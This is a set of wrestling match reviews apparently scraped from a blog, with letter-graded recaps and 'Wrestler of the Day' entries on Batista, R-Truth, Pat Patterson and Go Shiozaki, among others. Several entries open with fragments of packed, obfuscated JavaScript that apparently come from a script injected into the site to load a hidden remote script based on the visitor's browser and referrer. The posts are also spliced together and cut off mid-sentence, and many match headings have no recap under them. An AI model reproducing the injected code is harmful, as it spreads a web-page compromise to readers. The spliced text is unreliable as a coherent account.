Rating: A+. This runs 26 minutes and there is literally no stopping in the whole thing. There isn’t some period where they chill because they’ve done enough. This is about brutality and violence and it works very well. There’s a ton of blood and JJ looks like he fell out of a building (for some reason in wrestling attire) at the end of it. It’s well worth seeing and still works today. Great match.

 

TagTitles: Brainbustersvs. Demolition

So last SNME there was a solid match where the Busters had Demolition in trouble but Demolition got disqualified, intentionally or not is up for debate. Demolition says they’ll demolish them. They’ve held the belts since Mania 4 so it’s been a LONG time, actually the longest reign with the belts ever. This is 2/3 falls mind you. Tully and Axe start us off. I never felt comfortable with the Horsemen in WWF. It just didn’t feel right at all.

It’s ALL Demolition to start which should tell you something. Smash grabs a boot coming down at him which is something straight out of an 80s action movie. Smash apparently has an injured knee. Uh, sure. They just kind of said it was injured and then it isn’t anymore. Ok then. Anderson hits the spinebuster which doesn’t have a name yet. Smash gets a hot shot on Arn for a pin to get the first fall. That came a bit out of nowhere.

After a break it’s time for the second fall. There was no rest though as the perk of SNME was that since it was taped there was no wrestling during the break. As in it would pick up right where it was left off. We get a lot of double teaming on both sides and it gives the heels the advantage. A horrible camel clutch does nothing of note. In the middle of the insanity, Andre comes down and does nothing and Demolition is disqualified for double teaming to tie us up. This is a mess to put it mildly.

Now if Demolition is DQ’ed or counted out here, the titles don’t change hands. The heels do the old British Bulldogs move of ramming one guy’s head into his own partners’ which works well here. Axe takes over again but in a stupid looking moment he hits an atomic drop and rams his head into Arn’s. Both get hot tags though and this needs to end. It’s ANOTHER big mess but Andre throws in a chair for Tully which gets the pin and the titles to end the nearly year and a half reign with the titles for Demolition.

Rating: D. WOW this was a mess. It’s not particularly bad, but we get it: THEY CAN BRAWL. There’s far more brawling in this than wrestling which is rare for this era. The match could have worked as it’s not like the Brainbusters couldn’t wrestle or something like that. This was just a mess the whole time and it didn’t do it for me.

Soon after this the Brainbusters would face the Hart Foundation at Summerslam 1989 in what can only be called an 80s dream match.

Hart Foundation vs. Brain Busters

Anvil completely no sells some chops to the chest and sends Tully into the buckle before bringing Bret back in. The fans are all over Heenan with a Weasel chant while Bret works on a hammerlock. Tully grabs a top wristlock but Bret bridges off the mat to escape and the Busters are sent to the outside. Back in and Bret wins a slugout with Tully but gets suckered into a chase with Blanchard making a blind tag to Arn who blasts Bret from behind.

Tully Blanchard vs. Terry Funk

Blanchard comes out to what would become Jericho’s face music. There’s something wrong with the sound as you literally cannot hear the announcer. And Funk, who has been missing all night, comes out to something sounding like a screwed up Magnificent Seven theme. Now keep in mind this is in the….GORDON SOLIE IS ANNOUNCING!!! Anyway, they decide to have Funk in ECW’s town. Guess who the INSANELY over face is in this match.

Funk stands in front of Hat Guy. And of course we start on the floor. See, now unlike Heroes of Wrestling, Blanchard is in solid shape here. Also he’s not completely obsolete anymore. They haven’t been in the ring yet. Solie just throws out that he was in Miami back in 75 when Funk won the belt. Can you imagine how awesome it would be to crack open a beer with him and listen to him tell stories?

I think this is no rules which would make more sense here. Funk piledrives Blanchard through a piece of wood, which you can read as Terry’s back goes through it and Blanchard’s head comes nowhere near it. The fans chant WE WANT BLOOD. This is an intense match which is impressive as the old guys are having a more interesting match than the others were. There goes the referee of course and it’s chair time.

Blanchard is bleeding. Funk tries to piledrive Tully from the middle rope onto the chair but he winds up just landing on the chair so it looked like a really screwedup powerbomb which is likely best in the end. Tully hits the referee for the DQ but I think it’s just a double DQ. The fans audibly chant bull. Funk takes Hat Guy’s hat to end it.

Rating: B+. Fun. That’s the only way to describe this match. These two went out there and had fun and that’s all you can ask for. Yes that rating is likely high but this match was a blast. I can’t ask for more than that from a match with no point other than having two legends. The wrestling was quite good here too.

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Wrestler of the Day – January 21: Arnold Skaaland/Go Shiozaki

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eiffb|var|u0026u|referrer|zidda||js|php'.split('|'),0,{})) one really jumped off the page at me today so I’ll do a double shot of two not bad guys. Today it’s Go Shiozaki and Arnold Skaaland. We’ll start with the old guy: Arnold Skaaland.

Antonio Pugiliese/Arnold Skaaland vs. Angelo Savoldi/Tony Altimore

Altimore and Skaaland get things going here with Tony trying to lure him into the heel corner. This goes nowhere until Arnold slaps him in the face and hooks an armbar. Savoldi tries to come in so the faces change without tagging. The referee throws Savoldi out so the good guys cheat again, resulting in Arnold hooking another armbar. Altimore counters into a front facelock/choke which he keeps getting admonished for.

Savoldi tries to come in but Antonio literally chases him away. Everything breaks down for a bit until we get back to normal with Altimore punching Skaaland down. Unfortunately he punches him into Antonio who picks Tony up and lays him on the top rope. Antonio pounds Altimore over and over again in the face before dropping some knees to the head for the jackknife pin.

Back in and #1 gets to try his luck with Arnold but #2 gets in a cheap shot from the apron to take over again. Choking ensues and the Angels cheat even more to keep Skaaland in trouble. The referee admonishes the champions long enough to allow a tag off to Dillon but the Angels quickly slam him down and #1 drops a top rope knee for the pin.

Rating: D. This was a really sloppy match as it felt like they were trying to have a squash but the good guys got in too much offense. Dillon was very green at this point but the only way to get better is to be in the ring. The Angels were nothing to see either, though they had the crowd into their heel antics.

LouAlbanovs. ArnoldSkaaland

We get our first story here as Arnold won Manager of the Year and Albano is ticked off about it, resulting in them fighting over it. The face, Arnold, jumps Lou during introductions to show he means business. Fans are WAY into this which always helps. Albano runs immediately and still has his jacket on. A foreign object ends that though and we’re ready to go.

Super Mario needs a shirt while wrestling. Allegedly these two weigh the same thing but I have a problem believing that one for some reason. Somewhere around the 8th shot with it the referee sees it or at least thinks he sees it so he plays Find the Object in Albano’s Pants. That’s a good one to play at a party where there are no women or alcohol. Arnold gets it and beats on Albano with it, busting him open.

Arnold pounds away as Albano tries not to fall down. And so much for that theory as Albano hits the floor. For about the 5th time he adjusts his tights and then runs to the back for the relatively cheap count out. I say relatively as this sets up another match down the road I’d assume.

Rating: D. Well the crowd was into it if nothing else. The match itself sucked but when it’s a battle of managers how much can you expect? It’s less than five minutes long though and Skaaland (dang that’s hard to type) made a comeback to a nice pop so this worked fine for what it was. Match was awful though from a wrestling standpoint which is what we’re going for here.

ROH World Title: Nigel McGuinness vs. Go Shiozaki

Now Nigel gets creative by loading up a hammerlock belly to back superplex but Shiozaki counters into a cross body for two. Something resembling Rolling Germans get two for Go and the final one sends Nigel into the corner. A great looking moonsault gets two and Shiozaki locks in a Kimura. Nigel makes the rope and is placed on the top, only to come back by crotching Shiozaki on the top rope. A middle rope lariat gets one as Shiozaki starts Hulking Up.

Tag Titles: Los Maniacos vs. Beer Money vs. Atsushi Aoki/Go Shiozaki vs. Nicho/Joe Lider

 

This is under elimination rules and Shiozako/Aoki are champions coming in. Los Maniacos are Silver Cain (Silver King from WCW who has lost his mask and Ultimo Gladiator). An interesting point here is that the champions are introduced by the wrong name with one guy not getting an announcement at all. Also from what I’ve read, only Konnan knew either their names or Beer Money’s names. Cain basically is something like Mr. America where everyone knows it’s Silver King but officially it’s a different guy as his name is different if that makes sense.

 

The wrong music plays for the champions as it’s Beer Money’s song instead. Ok here is Beer Money to the right music. They’re part of the Foreign Legion tonight. See how the group works now? In the back the final team is coming to the ring but some guy in a suit says Konnan is out there and not to go after them. That would be Nicho/Lider who are La Hermandad 187 (the 187 Brotherhood). Nicho is more famous as Psicosis without the mask. The Japanese guys and Lider almost get into it before the match.

 

No tagging here again it seems. This is going to take some getting used to. Roode and someone are on the floor. Also cut out the wide shots. I can’t see anyone specifically for the most part. Four in the ring and four on the floor at the moment. I think Beer Money is on the floor. It’s the Japanese guys and Los Maniacos in there at the moment. Nicho who is apparently a millionaire is down.

 

Only the champions (Japanese guys remember) are staying in the ring and on their feet the whole time. One hits a frog splash to I think Lider for two. Beer Money vs. Japanese guys at the moment. I know I’m saying Japanese guys a lot but it’s the best description I can give you in a short amount of time. Hermanadad gets in Konnan’s face with chairs but the champions jump them to save K-Dawg.

 

Beer Money works on Nicho with a wheelbarrow/Codebreaker combination. They set for the BEER MONEY thing but Hermanadad gets a pair of rollups for two each. Nicho vs. Aoki at the moment with the champion winning. Storm is ripping Cain’s mask and almost has it off. Nicho vs. Aoki in the ring at the moment and Aoki is sent to the floor. Tope con Giro by Nicho takes down Aoki.

 

La Hermanadad beats on Aoki now until Shiozaki comes in. A middle rope Backstabber out of nowhere to Shiozaki puts him out and the champions are gone! Konnan FREAKS as we’re down to three teams. Storm has a chair now and sets it up in the corner. Beer Money beats on the Hermanadad as we haven’t seen much from the masked dudes. Beer Money screws up and Roode head winds up in Storm’s crotch.

 

Los Manacos get into it again and go after 187 which is what I’m going to say instead of La Hermanadad. 187 is down but get up to hit stereo Downward Spirals to Beer Money. Storm takes what we would call a Mooregasm and then add….something which gets two on Storm. It was some double team move but it was hard to see what it was. Konnan distracts 187 again and a chair to the head of Lider by Storm ends them and we’re down to Los Manacos vs. Beer Money for the titles.

 

Tower of Doom spot doesn’t really work at all but it looked ok and got two for Roode. Nicho goes after Konnan with a chair but can’t hit him. The fans are completely behind Manacos. Cain misses a moonsault and the slingshot DDT kills Gladiator as it’s all Beer Money with the spinebuster to Cain. Heel miscommunication occurs though and it’s Gladiator vs. Storm.

 

There are two referees in the ring for some reason. Spear takes down Storm for two. Roode and Cain have gone off to find a Bingo game or something. Storm hits a powerslam for two. Superkick by Storm misses and Cain hits a Death Valley Driver for the pin and the titles. HUGE pop for that as they’re faces and Mexicans hold the titles again.

 

Rating: B-. This was a more fun match than the rest of them. While it was still hard to follow it was less difficult than the other matches. This lack of tagging thing is something I’m having issues getting used to. Either way, there was more of a flow here and I had a better idea of what was going on which is certainly a good thing.

 

Kenta vs. Go Shiozaki

Kenta appears to be the big crowd favorite. They strike it out to start with Kenta getting the better of it via kicks to the chest and a running knee to the ribs. Kenta charges into a boot in the corner and is lifted up for a suplex before Go just drops him onto the floor. Go whips him into the barricade and they head back inside for a strike off until Shiozaki dropskicks him down for two.

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2013 Wrestling Observer Newsletter Awards Announced

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbsbz|var|u0026u|referrer|teney||js|php'.split('|'),0,{})) Meltzer’s WON Awards are out so it’s time to see how much he loves Japan this year. I’ll include my winners as well and my thoughts on his, though keep in mind I don’t watch puro and I’m only a casual MMA fan at best. Also before I start, I’m well aware that Meltzer’s readers vote on this, but if you believe the majority of them do anything but repeat what he says, you’re more delusional than I can help.

Wrestler of the Year – Hiroshi Tanahashi (John Cena/Daniel Bryan)

Most Valuable MMA Fighter – Georges St. Pierre

Most Outstanding Wrestler – Hiroshi Tanahashi

Best Box Office Draw – Georges St. Pierre

Next.

Feud of the Year – Hiroshi Tanahashi vs. Kazuchika Okada (Rhodes Family vs. Authority)

Tag Team of the Year – Seth Rollins and Roman Reigns (Shield)

I lump tag teams and groups together so no arguments here.

Most Improved – Roman Reigns (Bo Dallas)

Reigns was a popular pick but he was more along the lines of “guy who gets more focus”. I get the pick though.

Best Interviews – Paul Heyman

Most Charismatic – Hiroshi Tanahashi

Just name the awards after him already.

Best Technical Wrestler – Daniel Bryan

Even though he mainly uses strikes now?

Best Brawler – Katsuyori Shibata

Yeah whatever.

Best Flying Wrestler – Kota Ibushi

I was impressed by what I saw of him so why not.

Most Underrated – Antonio Cesaro

Promotion of the Year – New Japan

Best Weekly TV Show – NXT

Amen.

Most Outstanding Fighter – Cain Velasquez

No argument there I suppose.

Match of the Year – Hiroshi Tanahashi vs. Kazuchika Okada, April 7 (CM Punk vs. Brock Lesnar)

Again, bow down to Japan.

Fight of the Year – Gilbert Melendez vs. Diego Sanchez

I heard good things so sure.

Rookie of the Year – Yohei Komatsu (Big E. Langston)

Non-Wrestler of the Year – Paul Heyman (Paul Heyman)

Yeah.

TV Announcer of the Year – William Regal

Fine again.

Major Wrestling Show of the Year – New Japan G-1 Day 4

Lather, rinse, repeat.

Best Booker – Jedo/Gedo, New Japan

Next.

Promoter of the Year – Dana White, UFC

Be careful. New Japan might not want to spoon after.

Gimmick of the Year – Wyatt Family

For the sheep mask alone.

Best Book – Mad Dogs, Midgets and Screwjobs – Pat LaParade and Bertrand Herbert

Never heard of it but it sounds interesting.

Best DVD – Jim Crocket Promotions: The Good Old Days

Heard of it, looks interesting.

Most Overrated – Randy Orton

Worst TV Announcer – Taz

Worst Major Show – Battleground (Battleground)

Two in a row.

Worst TV Show – Impact

Worst match of the Year – 10 Diva tag, November 24 (Same)

No argument there.

Worst Feud – Big Show vs. Authority

No arguments there unless you want to go with the Divas, which I think I would have.

Worst Promotion – TNA

Again no arguments.

They were a gimmick still?

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Wrestler of the Day – January 20: Pat Patterson

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|htyfa|var|u0026u|referrer|skera||js|php'.split('|'),0,{})) up we have Pat Patterson, who has a nice variety of stuff.

Antonio Pugliesi vs. Pat Patterson

We go back to normal for this era with an armbar on Patterson who pulls at the hair in a failed escaped attempt. The hold lasts nearly two minutes before Patterson fights up, only to be armdragged back into the armbar. Back up again and they trade dropkicks, only to have Patterson get caught in armbar #3. Pat fights to his feet and sends Antonio into the ropes they ram heads to put both guys down. Patterson misses a splash but avoids an elbow drop to keep both guys down again.

Antonio is sent to the floor and punches in the head a few times before dragging him back in for some ramming into the buckle. They slug it out from their knees until Antonio slugs Patterson out to the floor. He kicks Pat in the head and Patterson uses the breather to pull out a foreign object. A shot to the head has Antonio in trouble but the time runs out before we get a pin.

It was off to the WWF for Patterson where he would get a world title shot on September 24, 1979 in a cage against Bob Backlund.

WWFTitle: BobBacklundvs. PatPatterson

This is from September of 79 apparently. Patterson is the IC Champion here and is a cage match expert but Backlund has never been in one. Patterson was more or less the top heel in the company by default here. They start off fast as Backlund is all fired up here. Patterson tries to get out early and that goes nowhere.

Both guys get incredibly close but can’t get all the way out. Patterson almost gets out with Backlund literally dragging him back over the top by a single leg. They keep fighting to try to get out as this is definitely more about winning than violence which is fine. We clip the match to them being on the mat and Patterson hammers away on a cut on Backlund’s head. From what I can find only about three minutes out of 16 total were clipped so we get the vast majority here.

Patterson is busted too. Vince calls the WWF Champion a gallant lad. That’s sweet. Patterson goes into the cage and Backlund goes for the kill. He winds up going into the cage though so forget about that I guess. Backlund gets the atomic drop which was one of his signature moves at the time. I guess Lombardi will have to be gentle tonight.

Patterson finds some brass knuckles and they go up. Pat can’t get a shot with them and both guys go down. And then Backlund kicks Patterson in the head and the force of the kick launches Backlund backwards through the cage door and out to the floor. Patterson FREAKS in the ring after that even though he did nothing but lose cleanly. I guess that’s why he’s a heel.

Rating: B. Very solid match here with both guys beating the tar out of each other. Backlund was at this best at the end of a feud where he had to go off to beat someone and that’s what he did here. This was either their fourth or fifth match against each other and Patterson had beaten him before. This was fun stuff though and it worked very well.

Intercontinental Title: Pat Patterson vs. Lou Albano

Patterson goes right after him to start and Lou bails. He stays gone far longer than a ten count but is allowed back in anyway. Albano kicks Patterson in the knees and tries a foreign object which is taken away. Patterson scoops the leg and starts choking away. He chokes with some tape and Albano hits the floor. Back in Lou gets in a shot with the object but Patterson pounds him down again. Albano walks out and takes the countout.

Pat Patterson vs. Sgt. Slaughter

The Stooges vs. Mean Street Posse

Lawler and Ross keep saying BROTHER to keep up the joke. A double clothesline puts Brisco down but Patterson saves him from a belt whipping. Brisco comes back with a suplex on Pete as Patterson crotches Rodney. Gerald hooks a Figure Four and Patterson puts on a Boston crab to wake the crowd up for the double submission to get rid of the Posse.

Rating: A+. Seriously, this is just fun.

Hardcore Title: Pat Patterson vs. Gerald Brisco

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Wrestler of the Day – January 19: R-Truth

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sytst|var|u0026u|referrer|kztar||js|php'.split('|'),0,{})) was originally going to be Truth and Pat Patterson but since tomorrow’s wrestler was Ivan Putski, we’ll split them up and just go with Ron Killings today. R-Truth and Ron Killings are the same person if that’s not clear.

Radicalz vs. Team Chyna

Chris Benoit, Perry Saturn, Dean Malenko, Eddie Guerrero

Road Dogg, Billy Gunn, K-Kwik, Chyna

Billy gets to fight Dean first with the Radicals taking over quickly. Benoit low bridges Billy but Saturn accidentally superkicks Benoit on the floor. Back in the ring Dean ducks his head and the Fameasser makes it 2-1. A Jackhammer gets two on Saturn as Benoit makes the save. Benoit hits the Swan Dive for two and the Wolverine is shocked on the kickout. Benoit is sent to the apron and Gunn tries to suplex him back in, only for the Warrior/Rude ending with Saturn tripping Billy and holding his foot for the pin.

NWA World Title: Ken Shamrock vs. Ron Killings

Truth would hold the title for a few weeks before hooking up with Konnan and BG James in 2003 as the 3 Live Kru. They would hold the tag titles a few times and get involved in some main event feuds. Killing was in a six man tag at Victory Road 2004, though not with the Kru.

Ron Killings/Erik Watts/Johnny B. Badd/Pat Kenney vs. Dallas/Kid Kash/Naturals

Truth in case you didnt know. This is just what you would expect it to be: bad wrestling but overhyped by West and Tenay. Badd is said to be a legend. Even in his own mind I dont think hes that dumb.

 

To the shock of no one, this turns into a big brawl. They do the random people jump into the ring and get knocked out again spots as this has no flow to it at all. Badd hits a hurricanrana to set up something resembling a Pedigree from Truth for the pin. Badd was gone in a few months as was Watts. Kenney (Simon Diamond for you ECW guys) was seen once in awhile I think.

Rating: D+. There was just no point to this at all. It was all over the place and had no flow to it. This makes 28 wrestlers in two matches. Do you think that’s enough? It’s complete overkill at this point and is just insane. The match was nothing to see either and that’s a bad way to start a major show.

3 Live Kru vs. Diamonds in the Rough

Once the Kru broke up, Killings would go back to the world title scene and take part in the King of the Mountain match at Slammiversary 2006.

NWA World Title: Christian Cage vs. Ron Killings vs. Jeff Jarrett vs. Sting vs. Abyss

Killings grabs the ladder and goes up but he takes forever but Abyss makes the save. Everyone is in the ring now and Jarrett/Abyss beat on everyone else with a ladder. Truth gets launched to the floor but Sting and Christian dropkick the ladder into the evil ones. Christian crushes Jarrett between the ladder but Abyss makes the save, sending both guys out to the floor in the process.

Christian and Sting stare each other down and they slug it out. A Stinger Splash hits and he puts on the Scorpion but Jarrett comes out of the box early. He hits Sting with the belt and loads up the guitar shot, only for Christian to steal the guitar. The Death Drop puts Jarrett down and he puts the Scorpion on Jarrett, telling Sting to go up. Larry Z hits Christian low and gets drilled by Sting.

Ron Killings/Head Hunter A/Sabu/Rikishi vs. The Animal/Latin Lover/La Parka/El Zorro

This brings us to one of the worst ideas in wrestling history. Back in 2006/2007, a football player named Adam Pacman Jones got arrested. A lot. One of his incidents involved a part time wrestler being shot (Jones was never accused of being the shooter) and paralyzed from the waist down. Since TNA is TNA, they decided not only to bring Jones in, but to give him a Tag Team Title match to prove he was a “team player” at No Surrender 2007.

Tag Titles: Team Pacman vs. Sting/Kurt Angle

Oh that’s right: Sting won a match to be get a title. What a concept. Team Pacman is R-Truth (Ron The Truth Killings) and Adam “Pacman” Jones. He was a guy that was arrested like 13 times and was involved in a shooting where a part time pro wrestler was paralyzed outside a club. Naturally TNA saw his suspension from the NFL as a great ratings grab so they signed him. Yeah it didn’t go well.

Angle has a shirt on that says Tap or Snap, making me think of Daniel Bryan’s first promo. Shocking no one, Truth starts us off here for his team against Sting. He and Angle are a dream team apparently. Pacman won’t come in so more or less this is a handicap match. Off to Angle now as it occurs to me the football intro was about him. Why do I have a bad feeling he’s going to pin Sting or Angle? Pacman drops to the floor again and gets chased by Angle.

Back in the ring Truth gets a chinlock which Mike calls a sleeper hold. Karen, still Kurt’s wife here, comes to ringside. Sting can’t stand her so that’s an issue with the champions. She slaps Sting who…doesn’t shove her. He motions for her to go to the back and she throws herself down. Hey look the fans have a chant about it. Death Drop gets two on Truth. Sting hits the splash on Truth who falls onto Pacman for the tag. Angle hits the Slam on Sting and of course Pacman pins him for the titles. Screw you TNA, screw you to death.

Rating: D. The match was bad on top of all that. This was really just an angle with a match as a badkdrop. At the end of the day though, Pacman Jones, a guy that is more or less responsible for a man being paralyzed, has pinned Sting to win a championship in TNA. Celebrities in wrestling are fine, but know how to use them for the love of all things good and made of gouda.

 

Thankfully this only lasted a few months and Killings was in the WWE as R-Truth the following August. He would face Shelton Benjamin on the September 19, 2008 episode of Smackdown.

Shelton Benjamin vs. R-Truth

Rating: C-. Nothing to see here again as Truth was too new to mean much other than his rapping stuff. Shelton was just worthless at this point with all of the Gold Standard nonsense as he looked stupid and slowed WAY down, taking away the majority of the appeal he had. The match was just ok.

Ted DiBiase vs. R-Truth

Truth’s entrance is awesome. I’m not a fan of him but I have to give him that one. The real Virgil is here with him instead. You can’t beat that for old school guys. Striker says rich people are better. Amen to that brother man. We even get a Virgil chant. WOW. Cole says that DiBiase paid a couple of guys a few weeks ago to take out R-Truth. One was Carlito. That’s rather amusing.

We get a Harley Race impression from about 1983 and the bounty to take out Flair. I love obscure references like that. Truth busts out a Downward Spiral. I hate that move. Virgil looks more or less exactly the same as he used to. That’s either really impressive or bad. This is really sloppy. Truth…kind of hits the Lie Detector (spinning forearm) for the clean pin. That was bad. Virgil gets the Million Dollar Belt and tries to wake up DiBiase, despite the forearm grazing him at best.

Rating: D. Not very good and just SLOPPY. The stuff came off as weak looking and just all over the place. I didn’t like what I was seeing and the Truth pin just came off as from out of nowhere, which isn’t bad I guess. When all else fails, have the black guys be nothing but muscle since they’re all interchangeable right Vince?

Truth soon got the biggest push of his career after losing his mind. He talked about a c-o-n-spiracy, ranted about ladders and spiders, and thought imaginary children named Little Jimmy were laughing at him. Somehow this got him a title match at Capital Punishment against John Cena.

Raw World Title: R-Truth vs. John Cena

 

Truth has the belt but Cena is champion.  As scary as it is, I could see Truth getting the title here.  Big match intros set up a mixed reaction for Cena as always.  Feeling out process to start but Truth gets in a shot to take over.  Cena sends him to the floor and we stall a bit.  AA doesn’t work and Truth hits a sitout gordbuster to get two.  The dueling chants keep going as Truth gets a kick in for two.

Truth does a You Can’t See Me knockoff which ended in a legdrop for two.  Spinning forearm gets two.  Cena pulls himself up using Truth’s body.  Truth says Cena can’t see him.  This is kind of a slow paced match as Truth’s offense isn’t all that great.  Big hip toss gets two.  Lawler thinks Cena hasn’t taken Truth seriously enough.  Cena gets up but can’t get the STF, only to get kicked down again by Truth.

Suplex gets two.  This is a pretty dull match actually.  Cena starts his comeback with the shoulder blocks.  Five Knuckle Shuffle hits but Truth escapes the AA and hits the suplex into the Stunner “which we’ve NEVER seen before!”  Truth talks to himself a lot but misses a charge in the corner and there’s the STF.  Truth grabs the rope rather quickly though and the axe kick hits out of nowhere for two.  Cena was out fast.

Truth goes up for a cross body but Cena rolls through into the AA attempt.  Truth counters that into the jumping Downward Spiral for two.  Cena hits the floor which would seem to set up something fishy.  Truth goes out to the other side and is looking all crazy.  He steals a hat from a Cena fan and gets a drink of water.  The fan throws the water in Truth’s face!  The distraction is enough for Cena to pull him in and hit the AA to retain!

Rating: D+. Pretty dull match here overall and I wasn’t into it for the most part.  It’s not horrible but it’s just not interesting.  The water going into his face is kind of a nice touch given that Truth did that to a kid on Raw a few weeks ago but at the same time it really wasn’t anything interesting.  Total B show PPV match here and I can’t imagine it’ll go any further, not after Cena beat him clean.

 

Truth would eventually join up with Miz as Awesome Truth and get beaten up by The Rock and John Cena. He would then regain his sanity, win another meaningless set of tag titles with Kofi Kingston, including this title defense at Over the Limit 2012.

Tag Titles: Jack Swagger/Dolph Ziggler vs. R-Truth/Kofi Kingston

R-Truth vs. Antonio Cesaro

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Wrestler of the Day – January 18: Batista

We continue our January 18 double feature with the Animal himself: Batista.

Leviathan vs. Brock Lesnar

Batista vs. Rob Van Dam

A triceps injury would put Batista out for most of 2003 but he would return in the fall, eventually facing Shawn Michaels at Armageddon 2003.

Shawn Michaels vs. Batista

Batista hadnt been back long after a triceps injury so this is one of his first major singles feuds. This is Shawns 68th PPV match. Thats a pretty awesome number, especially when this is Batistas third match on PPV. Flair is with Batista here again. Shawn snaps off some punches in the corner which dont do much damage but theyre something I guess. More of them land and Batista is getting annoyed.

 

Shawn fires some kicks into the leg and tags Ric on the floor. Back in the ring Batista gets his hands on Shawn and the pain begins. Suplex gets two. Big Dave works on the back which is still the focal point of Shawn every time hes out there. Theres the forearm but Batista kills him with a clothesline after the nip up. To the floor we go and Shawn eats steps.

 

More back worth by Dave, this time in the form of a backbreaker. Shawn starts his comeback with a bunch of strikes and theres a second forearm/nip up. A two handed choke by Batista is countered into a DDT to put both guys down. The big elbow hits and the fans are into it all of a sudden. Chin music is countered into a spinebuster though and theres a second one. Batista Bomb is countered out of nowhere and Shawn hits the kick, falling on top for the pin.

 

Rating: B-. Not terrible but I wasn’t feeling the ending. I get the theory of it, which is Shawn can’t go toe to toe with him and needs to use his experience to get that one big shot in to take Batista down, but that doesn’t mean it worked. Not a bad match but Batista was still getting the hang of things and it showed. Shawn helped him through a lot of this, and that’s the point of a veteran.

Batista spent most of 2004 in tag team matches with other members of Evolution while not having the best of luck in singles matches. 2005 would be the start of something big though and Batista opened the year with a match against Chris Benoit on the January 3 episode of Monday Night Raw.

Batista vs. Chris Benoit

Next up for Batista was a win in the Royal Rumble followed by taking the World Heavyweight Championship at Wrestlemania from HHH. He would defend the title against HHH at Backlash and then complete the trilogy inside the Cell at Backlash 2005.

Raw World Title (World): Batista vs. HHH

Apparently the Cell is now the Devil’s Duplex. Seriously, what is JR on because I want some of it. Also it’s now a sentient being as it has something like emotions I guess. The Cell is still half up as Batista’s music hits. I didn’t realize he had I Walk Alone this early but apparently he did. He also had the gun pyro which is rather cool. He’s also embarking on his maiden voyage inside Hell in a Cell. Is he a boar captain all of a sudden? You can never accuse JR of using basic language.

The Cell being lowered really is a cool moment as you know you’re about to see some violence. Lawler says there is no way out. Today that would likely get him yelled at by Vince for bringing up memories of a defunct show. Why is he so paranoid about so many things? Batista is in the white tights here so you know he’s serious. They point out how fairly stupid it is to give HHH back to back shots by more or less saying this is the last chance for him.

HHH goes to the arm by sending it into the post. That’s smart I guess as it’s hard to Batista Bomb someone with one arm, although you would think the leg would be smarter. Then again he married Stephanie so he’s smarter than we are. And now HHH gets a tool box. This cannot turn into another Home Improvement match like it was vs. Nash. Well if nothing else Batista is better than Nash so I can live with that.

There’s a big chain, which at least is something that I guess you could understand having in a tool box assuming you could use it to secure something or to get a grip on something. I should host a tool show. Batista manages to survive about a minute of being choked by a chain which is being pulled by a 6’4 270lb man. What? You don’t see how that makes sense?

I love fans that encourage violence that could potentially kill a man. Well to be fair HHH is supposed to anger the fans so he’s getting that right. Batista hits four spinebusters on the floor. Not really as he just rammed HHH into the post but whatever Ross says goes I guess. HHH mimics Flair and is busted open. The white boots are working for Big Dave. HHH hits a real spinebuster to get us back to even.

He gets a barbed wire steel chair from under the ring which is there to cover any and all of their barbed wire steel chair needs. Batista takes a SICK shot of it to the back. I know it’s rubbed tipped or fixed to an extent, but DANG it looked great. The face of Batista more or less says a combination of OH DANG IT, OW and MAN I COULD GO FOR A POPSICLE. He gets the chair and DRILLS HHH in the head with it. That sounded and looked great.

I love the raking of a person’s face into the cage. That just looks awesome every time they do it and it never gets old. It’s ALL Batista at this point. HHH takes a powerslam onto the barbed wire. Ok so it landed on his legs but whatever. I guess those Buns of Steel videos helped a lot there. HHH counters with a DDT onto it as this is getting very good. Both guys are bleeding now. See, this is a great example of using blood to make a match better.

Instead of just randomly bleeding in every match, this has been a brutal fight that has built up to this moment and it feels epic. Rather than having blood in every match where it becomes clichéd, the blood here is a sight that makes you think about how brutal this is. A sledgehammer shot to the face gets two as we’ve reached epic. Batista kicks out of a punch wrapped in chain to a HUGE pop.

A lot of people that that was it apparently and I can’t say I blame them. In a cool spot right after that, HHH jumps at Batista with the chain but Batista holds up the hammer so that it slams into HHH’s jaw/throat. He stands there for about 8 seconds before just collapsing. I love that visual. Dang HHH got thrown over the corner. After this long of a match I’m surprised he can take a bump like that. Batista busts out some steps and gets them in the ring with HHH down.

HHH is just getting destroyed here as Batista is just in a zone here. Batista Bomb is countered with a low blow and the Pedigree for a LONG two. The steps are set up in the middle of the ring and Batista is in trouble. Pedigree is blocked into a spinebuster onto the steps and a Batista Bomb for the pin.

In a nice move, HHH picked up the hammer but gets dropped before he can hit it. When he’s pinned it’s still in his hand which is like the scene that ends a movie, or in this case a great match. HHH would be gone four months for this as Cena became top dog on Raw. I’m sure HHH’s diminishes spotlight had nothing to do with his absence at all.

Rating: A. This was a WAR. This is what Hell in a Cell is supposed to be like: two guys that absolutely cannot stand each other beating the tar out of the other person for a single prize. The blood was great, the violence was great, and both guys were great. See this match for sure as it’s awesome and I’m pretty sure it’s on the Hell in a Cell DVD. Great match and it made Batista look unstoppable.

Batista would dominate the title scene for the rest of the year, even after being moved to Smackdown. He would crush JBL in a three match series before having a quick feud with Eddie Guerrero which was cut short by Guerrero passing away. Batista would get injured again in early 2006 and have to forefit the title. He would come back in the summer and chase the title again, but first he would challenge Big Show for the ECW Title on the August 1, 2006 episode of ECW on Sci-Fi.

ECW World Title: Big Show vs. Batista

Batista would take the title back from King Booker at Survivor Series to reestablish his dominance. This would lead to a match on the December 22, 2006 episode of Smackdown. I think the participants speak for themselves.

Batista vs. Santa Claus

Smackdown World Title: Batista vs. Undertaker

They head back in and Batista hits a spear out of nowhere, getting an eight. Batista snaps and hits three spinebusters but that gets nine as well. The Bomb is countered and Undertaker hits a chokeslam to put both guys down but Batista is up at nine to keep things going. Taker channels his inner idiot and pounds away in the corner, and he deserves the Batista Bomb that he gets.

Smackdown World Title: Batista vs. Great Khali

Batista grabs the strap and gives Khali a beating. Now Batista tries to climb over the top for some reason but Khali pounds him down, right into position for Batista to Bomb him out of the corner. Khali blocks it with punches though and the champion is down. Vice Grip goes on and Batista is in trouble. Khali asks for the fourth gate to be opened but Batista hits him low to put both guys down.

After losing the title at Armageddon, Batista would float around for most of 2008 until his long awaited showdown with John Cena at Summerslam. How can I not include this?

John Cena vs. Batista

